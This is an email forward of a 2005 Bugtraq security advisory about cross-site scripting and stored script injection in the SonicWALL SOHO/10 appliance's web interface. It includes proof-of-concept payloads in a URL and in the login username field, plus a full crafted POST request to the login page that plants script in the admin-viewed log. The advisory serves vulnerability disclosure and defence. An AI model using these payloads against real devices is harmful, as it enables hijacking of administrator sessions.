FW: SonicWALL SOHO/10 - XSS vulnerability
- From: "Jim Harrison" <Jim@xxxxxxxxxxxx>
- To: "[ISAserver.org Discussion List]" <isalist@xxxxxxxxxxxxx>
- Date: Mon, 4 Apr 2005 11:35:50 -0700
FYI for all you Sonicwall users...
-------------------------------------------------------
Jim Harrison
MCP(NT4, W2K), A+, Network+, PCG
http://isaserver.org/Jim_Harrison/
http://isatools.org
Read the help / books / articles!
-------------------------------------------------------
-----Original Message-----
From: Oliver Karow [mailto:Oliver.Karow@xxxxxx]
Sent: Monday, April 04, 2005 3:34 AM
To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: SonicWALL SOHO/10 - XSS vulnerability
SonicWALL SOHO/10 - XSS and Code Injection vulnerability
========================================================
Product:
========
SonicWall SOHO/10 is the 2nd generation Internet Security Appliance from
Sonicwall, with firewall-, vpn-, contentfiltering- and other
capabilities.
Vulnerability:
==============
There is a Cross Site Scripting Vulnerability in the webroot.
A HTTP-GET-request, containing script code will be executed
in the webbrowsers environment of the user:
http://192.168.168.168/<Xcript><!--alert("Its not magic... its a
sonic")--></Xcript>
There is a second vulnerability, which i consider as something between a
XSS
and a code-injection vuln,
because the user does not have to follow an html-link to run into the
attack:
If an attacker supplies a username, containing scriptcode, at the
login-page
of the device, an entry in the
system logfile is done, containing the "username".
The system logfile is displayed in html-format. If the appliance admin
is
viewing the logfile, the scriptcode
will be executed.
Because length of input field is limited by the browser (client
site), you
can insert a short script
into the username field to do a quick verification of the
existence of the
vuln:
</TD><Xcript><!--alert("!")--></Xcript>
To supply longer scripts, you have to modify the request f.e.
with a proxy,
or simply sent a modified
post request via netcat:
POST http://192.168.168.168:80/auth.cgi HTTP/1.0
Accept: */*
Referer: http://192.168.168.168/auth.html
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: BadGuy
Host: 192.168.168.168
Content-Length: 160
Pragma: no-cache
uName=</TD><Xcript><!--alert("Its not magic... its a
sonic")--></Xcript>&pass=NiceTry&Submit=Login&clientHash=bbe63bb858b02e7
41d
2d12023ee350a1
Version:
========
I only tested the following version:
SonicWall SOHO/10
Firmware: 5.1.7.0
ROM-Version: 4.0.0
Other versions may also be affected.
Vendor:
=======
Website: http://www.sonicwall.com
Status: informed
Discovered by:
==============
Oliver Karow
Date: 29.03.2005
Website: http://www.oliverkarow.de/research/sonicwall.txt
--
Handyrechnung zu hoch? Tipp: SMS und MMS mit GMX
Seien Sie so frei: Alle Infos unter http://www.gmx.net/de/go/freesms
All mail to and from this domain is GFI-scanned.
Other related posts:
